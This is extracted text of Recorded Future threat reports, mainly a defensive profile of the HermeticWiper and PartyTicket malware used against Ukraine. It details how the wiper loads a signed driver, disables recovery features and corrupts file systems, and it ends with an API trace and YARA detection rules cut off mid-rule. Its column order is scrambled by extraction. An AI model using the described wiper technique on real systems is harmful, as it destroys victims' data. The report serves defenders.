61.74.255[.]16 Feb 25, 2022 Mar 15, 2022 122.116.165[.]62 Feb 23, 2022 Mar 15, 2022 112.171.218[.]39 Jan 12, 2022 Feb 13, 2022 114.34.10[.]80 Feb 17, 2022 Mar 15, 2022 114.35.16[.]182 Mar 1, 2022 Mar 20, 2022 114.35.191[.]224 Jan 12, 2022 Feb 22, 2022 119.200.211[.]197 Feb 8, 2022 Mar 3, 2022 121.128.198[.]233 Feb 17, 2022 Mar 13, 2022 121.151.212[.]101 Oct 18, 2021 Dec 23, 2021 122.116.234[.]73 Dec 23, 2021 Mar 13, 2022 124.216.159[.]70 Feb 23, 2022 Mar 21, 2022 175.200.146[.]227 Dec 29, 2021 Feb 17, 2021 175.208.234[.]194 Feb 18, 2022 Feb 21, 2022 175.214.193[.]170 Feb 12, 2022 Mar 21, 2022 182.220.237[.]217 Feb 17, 2022 Mar 22, 2022 210.123.140[.]200 Sep 15, 2021 Mar 2, 2022 211.184.160[.]108 Feb 28, 2022 Mar 22, 2022 220.132.106[.]193 Feb 17, 2022 Mar 15, 2022 220.133.141[.]117 Feb 17, 2022 Mar 15, 2022 Shared SSL Certificate (SHA1 Fingerprint): 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf www.recordedfuture.com | Recorded Future TA-CN-2022-0406 THREAT ANALYSIS | CHINA Appendix B MITRE ATT&CK Techniques Tactic: Technique ATT&CK Code Resource Development: Compromise Infrastructure T1584 Command and Control: Proxy: Multi-hop Proxy T1090.003 Command and Control: Application Layer Protocol - Web Protocols T1071 Exfiltration: Exfiltration Over C2 Channel T1041 TA-CN-2022-0406 Recorded Future | www.recordedfuture.com THREAT ANALYSIS | CHINA About Insikt Group Recorded Future s Insikt Group, the company s threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Their mission is to produce intelligence that reduces risk for clients, enables tangible outcomes, and prevents business disruption. About Recorded Future Recorded Future is the world s largest intelligence company. The Recorded Future Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,300 businesses and government organizations across 60 countries. Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture. www.recordedfuture.com | Recorded Future TA-CN-2022-0406 MALWARE/ TOOLS PROFILE By Insikt Group March 2, 2022 HermeticWiper and PartyTicket Targeting Computers in Ukraine MALWARE/TOOL PROFILE Background HermeticWiper, also known as FoxBlade, is a data wiper found targeting finance and government contractor organizations in Ukraine, Latvia, and Lithuania, according to Symantec. This report is a technical overview of the HermeticWiper and PartyTicket malware reported by ESET and Symantec on February 23, 2022. The malware was primarily delivered to Ukrainian organizations coincident with the Russian invasion of Ukraine. It is intended for those looking for a high-level overview of the malware s TTPs and mitigations. ESET first reported that their telemetry indicated the malware was delivered to hundreds of systems in Ukraine, and the malware was executed on February 23, 2022, following DDoS attacks on Ukrainian websites earlier that day. Executive Summary It was also reported by ESET that the malware was a signed executable, with a code-signing certificate issued to Hermetica Insikt Group analyzed the HermeticWiper malware Digital Ltd. Code-signing certificates allow malware to be and the associated ransomware component named more effectively deployed by bypassing detection capabilities, PartyTicket that were first publicly reported targeting such as Microsoft Defender SmartScreen and built-in browser Ukrainian organizations on February 23, 2022. We protections. The developer who operates Hermetica Digital Ltd. determined that both components serve the purpose has publicly denied any involvement in the development of the of data destruction, with the ransomware component malware, however. differing significantly in form and function from known criminal ransomware threats. Key Judgments The use of a wiper malware with an associated destructive ransomware component is similar in method to WhisperGate, NotPetya, and other operations credited to Sandworm. There is insufficient evidence at this time to attribute HermeticWiper to the Russian state, but the timing of the mass deployment of HermeticWiper with kinetic attacks and other cyberattacks on Ukraine, and a methodology similar to past attacks by Russian governmentassociated actors, lends credence to such an attribution. The PartyTicket ransomware attacks are unlikely to be a true ransomware campaign conducted for financial gain. It is more likely that the ransomware component is a ruse and the real purpose of the attacks are disruption and data destruction. Figure 1: The now-revoked Hermetica Digital Ltd. code signing certificate used to sign HermeticWiper (Source: Recorded Future) MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Microsoft reported that it identified the wiper attacks on HermeticWiper February 24, 2022 and alerted the Ukrainian government. HermeticWiper s primary purpose is to corrupt the NTFS Although no direct attribution of HermeticWiper has been and/or FAT file systems of a victim s machine to prevent it from made by security researchers at this time, the timing being booting correctly. It was written in Visual Studio 2008 and 2015 coincident with other cyberattacks and physical attacks in a combination of C and assembly and uses an included kernel on Ukraine and a history of similar tactics by Russian state- driver to implement much of its disk access functionality. The associated actors in their use of data wipers in the past, including use of a kernel driver instead of conventional Windows API calls WhisperGate in January 2022 and NotPetya in 2017, suggest the is thought to evade detections that may catch the higher-level involvement of a Russian state operation. API calls being made. The compiler timestamps for 2 samples show that they were compiled on December 28, 2021, and 1 other sample shows February 23, 2022. Although timestamps Technical Analysis can be forged, the timestamp from December 28, 2021, could Multiple infection vectors for the HermeticWiper malware be used to determine how far in advance this operation was planned. Each sample is signed using what was, at the time, have been reported by Symantec. a valid certificate issued to Hermetica Digital Ltd. Since the The delivery of the malware to a Ukrainian organization malware s discovery, the certificate has since been revoked by followed a Server Message Block (SMB)-based attack on a the Certificate Authority, as shown in Figure 1 above. Microsoft Exchange server on December 23, 2021. The adversary Upon execution, the wiper adjusts its process token privileges initially stole credentials, and a web shell was installed on January 16, 2022. HermeticWiper was finally deployed on February 23, to acquire SeBackupPrivilege and SeShutdownPrivilege in order to obtain read privileges to any files and eventually shut down 2022. the system before terminating. Next, it determines the Windows A Lithuanian organization that received HermeticWiper was version and bitness (x86 or x86_64) of the victim s machine initially compromised in November 2021. The delivery mechanism in order to determine which kernel driver, located in the PE was suspected by Symantec as being an Apache Tomcat exploit resource section, to later load. The kernel drivers are legitimate, that executed a malicious PowerShell command. This attack benign software used by EaseUS s Partition Master and are similarly included a credential harvesting component, followed signed with a certificate issued to EaseUS s parent company, quickly by the delivery and execution of the wiper malware as a CHENGDU YIWO Tech Development Co., Ltd., shown in Figure 2 scheduled task. below. Although the certificate has expired, newer versions of In several of the attacks, a ransomware executable was Windows 10 allow exceptions for kernel drivers with certificates delivered alongside HermeticWiper. The victims received issued before July 29, 2015, to be loaded. a ransomware notification providing 2 email addresses: vote2024forjb@protonmail[.]com and stephanie.jones2024@ protonmail[.]com. Symantec considers it likely that the ransomware component was used to distract the victims. WhisperGate attacks used a similar methodology, wherein the attack was disguised as ransomware. Both WhisperGate and HermeticWiper used separate components to prevent a victim s system from booting and file corruption; however, the component that played the role of ransomware changed between the 2 attacks. With WhisperGate, the wiper itself masqueraded as ransomware; however, with the HermeticWiper attacks, it was the file corrupter instead. ESET reported that in one instance they observed, the malware was dropped via default Group Policy Objects (GPO), indicating that the adversaries almost certainly had control of an Active Directory server on the network. www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE To create the service, the process s token privileges are adjusted again to add SeLoadDriverPrivilege. A service is then created, configured, and started. Once the driver is successfully loaded, the created service s registry entry is removed from HKLM\SYSTEM\CurrentControlSet\services\. Next, the Volume Shadow Service (VSS) is stopped and disabled, as shown in Figure 4, to make recovery more difficult. The wiper then begins to iterate through all physical drives on the system one at a time by attempting to access \\.\PhysicalDrive<1-100>. For each drive, junk data is written to seemingly random locations of the disk in order to corrupt it. Additionally, the partitions on each physical disk are enumerated and any identified as FAT or NTFS file systems are corrupted by writing random data to the file system header. Although public reporting has stated that the MBR is wiped , which typically means the MBR is overwritten, in our analysis we have concluded that only the file system is corrupted along with random locations on the disk. The end result similarly results in a loss of the stored data and inability of the victim machine to boot. Appendix A provides the output from a tool, API Monitor, that captured the SetFilePointerEX and WriteFile API calls used to corrupt the hard drives on the victim s machine. There were no writes to the index, where the MBR would reside, however there are writes to the index, 1048576, which is the location of the NTFS file system header. The additional writes are to seemingly random locations on disk. The corruption of the file systems goes beyond a simple MBR overwrite and is more effective because it impacts a The kernel drivers are stored as RCDATA in the PE file s victim s ability to boot regardless of the disk partitioning scheme resource section, as shown in Figure 3 below. Each driver is (i.e., MBR, GPT). This technique is more robust than the MBR compressed using Microsoft s SZDD file format, based on the overwrite used in the WhisperGate attacks, where we showed that GPT-style disks could recover from the MBR overwrite. Lempel Storer Szymanski (LZSS) algorithm. Figure 2: Certificate used to sign EaseUS Partition Master drivers (Source: Recorded Future) After corrupting the file system the wiper disables the After locating the correct driver, the wiper then proceeds to ShowCompColor and ShowInfoTip values in the Software\ disable WoW64 File System Redirection if the victim is running Microsoft\CurrentVersion\Explorer\Advanced registry key in a 64-bit OS. This prevents 64-bit systems from loading 32-bit order prevent encrypted NTFS files from showing in color kernel drivers from the %windir%\SysWOW64\drivers directory and instead forces them to use %windir%\system32\drivers, and showing pop-up descriptions for folders, respectively. Then where the malware will eventually place the kernel driver. it proceeds to corrupt logs and data on NTFS file systems. Next, Crash Dumps are disabled by modifying the registry Finally, the wiper attempts to shut the system down with a value CrashDumpEnabled to 0 for the key HKLM\SYSTEM\ call to InitiateSystemShutdownExW. Once the victim machine is CurrentControlSet\Control\CrashControl. This is likely done to rebooted, the user is presented with an error message indicating avoid writing a crash dump to disk when the program terminates. that their system cannot boot. In the case of MBR-style disks, The compressed driver resource is then written to the the victim is presented with a message similar to the one shown %windir%\system32\drivers directory with a name consisting of in Figure 5; or in the case of GPT-style disks, the one shown 2 pseudorandom lowercase characters followed by . Then in Figure 6. In both cases, although the MBR is still intact, the driver is decompressed, and a service with the same name the system is unable to boot due to the corrupted file system partition containing the Operating System. is temporarily created to load the driver. MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Figure 3: SZDD compressed resources stored in the resource section of the wiper (Source: Recorded Future) Figure 4: Disabling and stopping the VSS service (Source: Recorded Future) www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Figure 8: Ransomware function names (Source: Recorded Future) Figure 5: Boot screen after infection on a MBR disk (Source: Recorded Future) Similarly, the ransom note dropped by the malware contained email addresses on similar topics, and the encrypted files were renamed with the suffix [vote2024forjb@protonmail[.]com]. encryptedJB , as shown in Figure 10. Figure 9: Example of encrypted file with extension (Source: Recorded Future) Figure 10 below shows the ransomware note dropped by PartyTicket. While Insikt Group cannot currently attribute the ransomware to any specific group, the note differs substantially from that of other ransomware groups we have seen. Figure 6: Boot screen after infection on a GPT disk (Source: Recorded Future) PartyTicket Insikt Group analyzed the ransomware associated with the HermeticWiper malware, dubbed PartyTicket. The ransomware contained several path strings and function names that allude to the White House, Joe Biden, and elections, among other topics, seen below in Figures 7 and 8. Figure 7: Paths contained in the ransomware (Source: Recorded Future) MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Figure 10: Ransom note (Source: Recorded Future) There is no branding identifying a particular ransomware group responsible for the attack, and there are several misspellings and grammatical errors throughout the note. As a result, the ransomware component of the HermeticWiper malware is unlikely to have been developed and distributed by a criminal ransomware group. Further, the malware contains a list of files, shown in Figure 12 below, that it seeks to encrypt. Unlike all other recent, criminal-operated ransomware variants, this list includes files that are key to the ability of the victim system to operate, including .dll and .exe files. This further suggests that this is not legitimate ransomware but rather a destructive piece of malware. -inf .acl, .avi .bat .bmp .cab .cfg .chm .cmd .com .crt .css .dat .dip .dll .doc .dot .exe .gif .htm .ico .iso .jpg .mp3 .msi .odt .one .ova .pdf .png .ppt .pub .rar .rtf .sfx .sql .txt .url .vdi .vsd .wma .wmv .wtv .xls .xml .xps .zip Figure 11: File extensions the ransomware seeks to encrypt (Source: Recorded Future) www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Mitigations Outlook The compromised systems leading to the delivery of the This is the second destructive malware that has emerged wiper have involved exploitation of vulnerable systems: a over the past month, coinciding with the timing of attacks on Microsoft Exchange server, and an Apache Tomcat server. Ukraine, and exhibiting a methodology similar to past attacks Defenders concerned specifically about HermeticWiper should by Russian government-associated actors. We expect further ensure that any such servers on their networks are fully updated cyberattacks or malicious tools to emerge and be used to and patched. Similarly, enterprises should prioritize detection of destroy data and cause other disruptions. While there is not web shells and exploitation on their perimeters. Detection of a enough evidence to tie either of these wipers to a specific threat wiper malware at the point of execution is often too late in the kill actor or group, HermeticWiper s similarities to previous Russian chain to ensure continued organizational operations. Focusing state-linked malware variants, such as NotPetya, could suggest on the initial stages is important to avoid such malware being some relationship. executed. Endeavoring to prevent, detect and block early-stage activity observed in the delivery of HermeticWiper, such as malicious PowerShell usage and SMB exploitation, is thus recommended. The adversary, nimble enough to exploit more than one type of system to deliver HermeticWiper, is likely capable of delivering malware to other vulnerable systems as well, and consistent patching and updating of all external-facing systems is therefore critical. On February 26, 2022, CISA issued an alert concerning the use of destructive malware, specifically HermeticWiper and WhisperGate, against Ukrainian organizations. General best practices and mitigations for wiper malware are provided in the alert. By keeping updated on the current situation in Ukraine, in particular in the cyber realm, an organization can better prioritize patching and other mitigations based on what is currently known of potential threats. Insikt Group has provided 2 YARA rules to detect HermeticWiper and PartyTicket in Appendix B. MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Appendix A: SetFilePointerEx and WriteFile Windows API Calls The table below shows the output from the tool API Monitor and was specifically capturing the API calls SetFilePointerEx, WriteFile, and wnsprintfw. To get the drive index location that SetFilePointerEx is pointing to, you must combine the HighPart and LowPart values to get the full index. For example, the full index for the call, SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2539999232, HighPart = 17 }, QuadPart = 75554443264 }, NULL, FILE_BEGIN ) would be 172539999232. Module 1bc44.exe wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2539999232, HighPart = 17 }, QuadPart = 75554443264 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540003328, HighPart = 17 }, QuadPart = 75554447360 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540007424, HighPart = 17 }, QuadPart = 75554451456 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540011520, HighPart = 17 }, QuadPart = 75554455552 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540015616, HighPart = 17 }, QuadPart = 75554459648 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540019712, HighPart = 17 }, QuadPart = 75554463744 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540023808, HighPart = 17 }, QuadPart = 75554467840 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540027904, HighPart = 17 }, QuadPart = 75554471936 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540032000, HighPart = 17 }, QuadPart = 75554476032 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540036096, HighPart = 17 }, QuadPart = 75554480128 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540040192, HighPart = 17 }, QuadPart = 75554484224 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540044288, HighPart = 17 }, QuadPart = 75554488320 }, NULL, FILE_BEGIN ) www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Module 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540048384, HighPart = 17 }, QuadPart = 75554492416 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540052480, HighPart = 17 }, QuadPart = 75554496512 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540056576, HighPart = 17 }, QuadPart = 75554500608 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540060672, HighPart = 17 }, QuadPart = 75554504704 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540064768, HighPart = 17 }, QuadPart = 75554508800 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540068864, HighPart = 17 }, QuadPart = 75554512896 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540072960, HighPart = 17 }, QuadPart = 75554516992 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540077056, HighPart = 17 }, QuadPart = 75554521088 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540081152, HighPart = 17 }, QuadPart = 75554525184 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540085248, HighPart = 17 }, QuadPart = 75554529280 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540089344, HighPart = 17 }, QuadPart = 75554533376 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540093440, HighPart = 17 }, QuadPart = 75554537472 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540097536, HighPart = 17 }, QuadPart = 75554541568 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Module 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540101632, HighPart = 17 }, QuadPart = 75554545664 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540105728, HighPart = 17 }, QuadPart = 75554549760 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540109824, HighPart = 17 }, QuadPart = 75554553856 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540113920, HighPart = 17 }, QuadPart = 75554557952 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393588736, HighPart = 0 }, QuadPart = 393588736 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393592832, HighPart = 0 }, QuadPart = 393592832 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393596928, HighPart = 0 }, QuadPart = 393596928 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393601024, HighPart = 0 }, QuadPart = 393601024 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393605120, HighPart = 0 }, QuadPart = 393605120 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068054016, HighPart = 0 }, QuadPart = 2068054016 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068058112, HighPart = 0 }, QuadPart = 2068058112 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068062208, HighPart = 0 }, QuadPart = 2068062208 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe wnsprintfW ( "", 260, "\\.\PhysicalDrive%u", ... ) 1bc44.exe wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... ) 1bc44.exe SetFilePointerEx ( 0x00000204, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL, FILE_BEGIN ) www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Module 1bc44.exe WriteFile ( 0x00000204, 0x0158ef48, 4096, 0x06b2f630, NULL ) 1bc44.exe wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... ) 1bc44.exe SetFilePointerEx ( 0x00000214, { u = { LowPart = 3566206976, HighPart = 0 }, QuadPart = 3566206976 }, NULL, FILE_BEGIN ) 1bc44.exe wnsprintfW ( "\\.\PhysicalDrive0", 260, "\\.\PhysicalDrive%u", ... ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429767680, HighPart = 2 }, QuadPart = 11019702272 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429769728, HighPart = 2 }, QuadPart = 11019704320 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429771776, HighPart = 2 }, QuadPart = 11019706368 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429773824, HighPart = 2 }, QuadPart = 11019708416 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429775872, HighPart = 2 }, QuadPart = 11019710464 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429777920, HighPart = 2 }, QuadPart = 11019712512 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429779968, HighPart = 2 }, QuadPart = 11019714560 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429782016, HighPart = 2 }, QuadPart = 11019716608 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429784064, HighPart = 2 }, QuadPart = 11019718656 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429786112, HighPart = 2 }, QuadPart = 11019720704 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098506752, HighPart = 2 }, QuadPart = 12688441344 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098508800, HighPart = 2 }, QuadPart = 12688443392 }, NULL, FILE_BEGIN ) MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE Module 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 344981504, HighPart = 0 }, QuadPart = 344981504 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 344983552, HighPart = 0 }, QuadPart = 344983552 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Appendix B: YARA Rules import "pe" import "hash" rule HermeticWiper{ meta: author = "CNANCE, Insikt Group, Recorded Future" date = "2022-02-24" description = "Rule to detect HermeticWiper malware" version = "1.0" hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591" hash = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da" hash = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf" RF_MALWARE = "HermeticWiper" strings: // paths $p1 = "\\\\.\\EPMNTDRV\\%u" fullword wide $p2 = "\\\\.\\PhysicalDrive%u" fullword wide // disable crash dumps $r1 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" fullword wide $r2 = "CrashDumpEnabled" fullword wide // privileges $s1 = "SeLoadDriverPrivilege" fullword wide $s2 = "SeBackupPrivilege" fullword wide // stack string: S.eS.hu.td.o..i.vi.le.ge $s3 = { c7 4? ?? 61 00 62 00 c7 4? ?? 63 00 64 00 c7 4? ?? 65 00 66 00 c7 4? ?? 67 00 68 00 c7 4? ?? 69 00 6a 00 c7 4? ?? 6b 00 6c 00 c7 4? ?? 6d 00 6e 00 c7 4? ?? 6f 00 70 00 c7 4? ?? 71 00 72 00 c7 4? ?? 73 00 74 00 c7 4? ?? 75 00 76 00 c7 4? ?? 77 00 78 00 c7 4? ?? 79 00 7a 00 } condition: uint16(0) == 0x5a4d // PE file and filesize > 90KB and all of them and for any i in (0..pe.number_of_signatures): ( pe.signatures[i].thumbprint == 